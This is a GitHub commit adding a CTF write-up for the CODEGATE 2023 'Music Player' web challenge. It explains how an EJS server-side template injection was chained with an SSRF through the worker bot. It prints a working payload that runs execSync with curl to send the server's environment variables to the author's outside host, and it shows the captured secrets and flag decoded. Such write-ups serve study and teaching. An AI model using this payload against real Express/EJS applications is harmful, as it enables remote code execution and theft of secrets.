Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit a8113a8

Browse files
authored
Create README.md
music player writeup
1 parent 9176da3 commit a8113a8

File tree

1 file changed

+185
-0
lines changed

1 file changed

+185
-0
lines changed
Lines changed: 185 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,185 @@
1+
# CODEGATE Music Player
2+
3+
This was a web challenge where the web page showed a list of songs that could be played.
4+
5+
Luckily, we were given the source code, as most of the interesting functionality was not reachable through simple navigation from the main page.
6+
7+
The problem consist of 4 components:
8+
* Frontend
9+
* Redis
10+
* Server
11+
* Worker
12+
13+
The worker is a headleass chrome that is started with puppeteer. It has the cookie `SECRET` set to `env.SECRET`. Whenever a new URL is added to the redis cache, the worker will visit it.
14+
15+
The most interesting parts were in the server in the `main.js` file. There all the routes were defined.
16+
17+
Initially the `/api/flag` route looked interesting, but I did not find a way to set the `SECRET` cookie to `env.FLAG`. Thus I looked at other things.
18+
```JavaScript
19+
app.patch("/api/flag", (req, res) => {
20+
const { flag } = req.body
21+
if (!req.cookies["SECRET"] || req.cookies[SECRET] !== FLAG) {
22+
return sendResponse(res, "Nope", 403)
23+
}
24+
return res.render("flag", flag)
25+
})
26+
```
27+
28+
The next interesting part was the `/api/messages` endpoint. If the `SECRET` cookie was set to `env.SECRET`, the user controlled `id` parameter was passed direcly to `res.render` without sanitization.
29+
```JavaScript
30+
app.post("/api/messages", (req, res) => {
31+
const { id } = req.body
32+
if (!req.cookies["SECRET"] || req.cookies["SECRET"] !== SECRET) {
33+
return sendResponse(res, "Nope", 403)
34+
}
35+
return res.render("admin", {...id})
36+
})
37+
```
38+
39+
Render is used to render a view. In this case, ` "ejs": "^3.1.9",` was used as the view engine.
40+
There are a lot of resources about Server Side Template Injection to RCE in EJS.
41+
* https://eslam.io/posts/ejs-server-side-template-injection-rce/
42+
* https://hxp.io/blog/101/hxp-CTF-2022-valentine/
43+
* https://github.com/CyberHeroRS/writeups/blob/main/SEETF/2023/Express-JavaScript-Security/writeup/writeup.md
44+
* https://github.com/mde/ejs/issues/735
45+
46+
47+
The basic idea is that the data and options for the render function are merged together. So it's possible to overwrite options with data sent n the `id` parameter. For more details, please red the links above.
48+
49+
I patched out the `SECRET` check locally to try to see if I can get a working payload. After some tiral and error I came up with the following:
50+
```JSON
51+
{"id":{"debug":true,"settings":{"view options":{"client":true,"escapeFunction":"function(){};{process.mainModule.require('child_process').execSync('curl http://p3.yt/$(env|base64 -w0)')}"}},"cache":false}}
52+
```
53+
54+
This read out the environment variables and sent them to my remote server. What was lef to do was for the worker bot to visit our page.
55+
56+
57+
The `/api/inquiry` endpoint allowed to push an arbitrary URL to the redis cache. All the checks are basically just a small proof of work to not bruteforce the servere too hard.
58+
We remember that the worker will visit any new URL added to the redis cache.
59+
```JavaScript
60+
app.get("/api/inquiry", (req, res) => {
61+
if(!req.session.lastValue || !req.session.lastLength){
62+
req.session.lastLength = DIFFICULTY
63+
req.session.lastValue = generateRandomString(DIFFICULTY)
64+
return sendResponse(res, `${req.session.lastLength}/${req.session.lastValue}`)
65+
}
66+
67+
if(!req.query.url || typeof req.query.url !== "string"){
68+
return sendResponse(res, "No Hack!", 500)
69+
}
70+
71+
if(!req.query.checksum || getLastCharacterMD5((req.query.checksum || ''), DIFFICULTY) !== req.session.lastValue){
72+
req.session.lastLength = DIFFICULTY
73+
req.session.lastValue = generateRandomString(DIFFICULTY)
74+
return sendResponse(res, `${req.session.lastLength}/${req.session.lastValue}`, 500)
75+
}
76+
77+
redisQuery.rpush("query", req.query.url)
78+
req.session.lastLength = DIFFICULTY
79+
req.session.lastValue = generateRandomString(DIFFICULTY)
80+
81+
return sendResponse(res, "Complete")
82+
})
83+
```
84+
85+
We're almost there, but we the `SECRET` cookie on the worker bot was set for `"domain": "nginx"`. Thus, there is one more piece to the puzzle.
86+
87+
The `/api/stream` endpoint accepts an arbitrary URL. The URL has to pass a few checks. It has to start with `http(s)` and not point to a internal IP. Additionally, the content-type of the response needs to be one of `const allowedContentTypes = ["audio/mpeg", "audio/mp3", "audio/wav", "audio/ogg"]`. If all of the checks are passed, the URL is called and the response returned.
88+
89+
```JavaScript
90+
// run streaming
91+
app.get("/api/stream/:url", (req, res) => {
92+
93+
try {
94+
let url = req.params.url
95+
const domain = new URL(url).hostname
96+
97+
// prevent memory overload
98+
redisCache.dbsize((err, result) => {
99+
if(result >= 256){
100+
redisCache.flushdb()
101+
}
102+
})
103+
104+
// preventing DNS attacks, etc.
105+
getIPAddress(domain)
106+
.then(ipAddress => {
107+
if(!url.startsWith("http://") && !url.startsWith("https://")){
108+
url = STATIC_HOST.concat(url).replace("..", "").replace("%2e%2e", "").replace("%2e.", "").replace(".%2e", "")
109+
}else{
110+
if(isInternalIP(ipAddress)) return sendResponse(res, "No Hack!", 500)
111+
}
112+
113+
// redis || axios
114+
redisCache.get(url.split("?")[0], (err, result) => {
115+
if (err || !result){
116+
axios
117+
.get(url, { responseType: "arraybuffer", timeout: 3000 })
118+
.then(response => {
119+
if (!allowedContentTypes.includes(response.headers["content-type"])){
120+
return sendResponse(res, "Not a valid music file", 500)
121+
}
122+
if (response.data.byteLength >= 1024 * 1024 * 3) {
123+
return sendResponse(res, "Music file is too big", 500)
124+
}
125+
redisCache.set(url, response.data.toString("hex"))
126+
app.log.error(url)
127+
return sendResponse(res, response.data)
128+
})
129+
.catch(err => {
130+
return sendResponse(res, err, 500)
131+
})
132+
}else{
133+
return sendResponse(res, Buffer.from(result, "hex"))
134+
}
135+
})
136+
})
137+
.catch(e => {
138+
return sendResponse(res, "No Hack!", 500)
139+
})
140+
} catch (err) {
141+
return sendResponse(res, "Failed Streaming!", 500)
142+
}
143+
})
144+
```
145+
146+
With this, we can finanlly put togeter the whole exploit chain.
147+
148+
We craft the URL `http:///nginx/api/stream/http://p3.yt/p3.html`. This will point to our server with the malicious EJS payload. This payload will make a call to `/api/messages` with the `JSON` body described earlier. The content-type of this response is set to `audio/mpeg`.
149+
150+
We use `/api/inquiry` to put this URL into the redis cache, which will trigger the worker bot to visit it. Because the worker bot has the`SECRET` cookie set for the `nginx` domain, the call to `/api/messages` will be made with the cookie and thus reach the injection point.
151+
152+
The final URl looked like this:
153+
154+
`url = f'http://3.36.93.133/api/inquiry?url=http%3A%2F%2Fnginx%2Fapi%2Fstream%2Fhttp%253A%252F%252Fp3%2Eyt%252Fp3%2Ehtml&checksum={checksum}'`
155+
156+
When executed, the server will send us all the environment variables:
157+
158+
```
159+
3.36.93.133 - - [18/Jun/2023 14:05:25] "GET /p3.html HTTP/1.1" 200 -
160+
3.36.93.133 - - [18/Jun/2023 14:05:25] "GET /QVBQX0hPU1Q9MC4wLjAuMApSRURJU19VUkxfQ0FDSEU9cmVkaXM6Ly9yZWRpczo2Mzc5LzAKTk9ERV9WRVJTSU9OPTE4LjE2LjAKSE9TVE5BTUU9OWUzNzNjMjdjOGE2CllBUk5fVkVSU0lPTj0xLjIyLjE5CkhPTUU9L2hvbWUvY3RmCkFQUF9QT1JUPTUwMDAKRElGRklDVUxUWT02ClNUQVRJQ19IT1NUPS9hcGkvClBBVEg9L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluOi91c3Ivc2JpbjovdXNyL2Jpbjovc2JpbjovYmluClNFQ1JFVD0yNjE0Y2ZmNjdlMmI0OTkwNzAwNDM4ZTgyNDFiNjZlNwpSRURJU19VUkxfUVVFUlk9cmVkaXM6Ly9yZWRpczo2Mzc5LzEKUFdEPS9hcHAKQVBJX1VSTD1odHRwczovL2ZlLmd5L2NvcHlyaWdodC1mcmVlLWNvbnRlbnQvCkZMQUc9Y29kZWdhdGUyMDIze2Nhbl93ZV9jYUxMX3RoaXNfYV8wZGF5P3ZlbmQwcl9zYXlzX2l0X2lzX3RoZV9kZXZlbG9wZXJzX21pc3Rha2VfdG9fY29kZV9saWtlX3RoaXN9Ck5PREVfRU5WPXByb2R1Y3Rpb24K HTTP/1.1" 404 -
161+
```
162+
163+
We can decode it to get the flag:
164+
```bash
165+
$ echo -n "QVBQX0hPU1Q9MC4wLjAuMApSRURJU19VUkxfQ0FDSEU9cmVkaXM6Ly9yZWRpczo2Mzc5LzAKTk9ERV9WRVJTSU9OPTE4LjE2LjAKSE9TVE5BTUU9OWUzNzNjMjdjOGE2CllBUk5fVkVSU0lPTj0xLjIyLjE5CkhPTUU9L2hvbWUvY3RmCkFQUF9QT1JUPTUwMDAKRElGRklDVUxUWT02ClNUQVRJQ19IT1NUPS9hcGkvClBBVEg9L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluOi91c3Ivc2JpbjovdXNyL2Jpbjovc2JpbjovYmluClNFQ1JFVD0yNjE0Y2ZmNjdlMmI0OTkwNzAwNDM4ZTgyNDFiNjZlNwpSRURJU19VUkxfUVVFUlk9cmVkaXM6Ly9yZWRpczo2Mzc5LzEKUFdEPS9hcHAKQVBJX1VSTD1odHRwczovL2ZlLmd5L2NvcHlyaWdodC1mcmVlLWNvbnRlbnQvCkZMQUc9Y29kZWdhdGUyMDIze2Nhbl93ZV9jYUxMX3RoaXNfYV8wZGF5P3ZlbmQwcl9zYXlzX2l0X2lzX3RoZV9kZXZlbG9wZXJzX21pc3Rha2VfdG9fY29kZV9saWtlX3RoaXN9Ck5PREVfRU5WPXByb2R1Y3Rpb24K" | base64 -d
166+
167+
APP_HOST=0.0.0.0
168+
REDIS_URL_CACHE=redis://redis:6379/0
169+
NODE_VERSION=18.16.0
170+
HOSTNAME=9e373c27c8a6
171+
YARN_VERSION=1.22.19
172+
HOME=/home/ctf
173+
APP_PORT=5000
174+
DIFFICULTY=6
175+
STATIC_HOST=/api/
176+
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
177+
SECRET=2614cff67e2b4990700438e8241b66e7
178+
REDIS_URL_QUERY=redis://redis:6379/1
179+
PWD=/app
180+
API_URL=https://fe.gy/copyright-free-content/
181+
FLAG=codegate2023{can_we_caLL_this_a_0day?vend0r_says_it_is_the_developers_mistake_to_code_like_this}
182+
NODE_ENV=production
183+
```
184+
185+
See `s.py` and `brute.py` for the full server and client scripts used for the attack.

0 commit comments

Comments
 (0)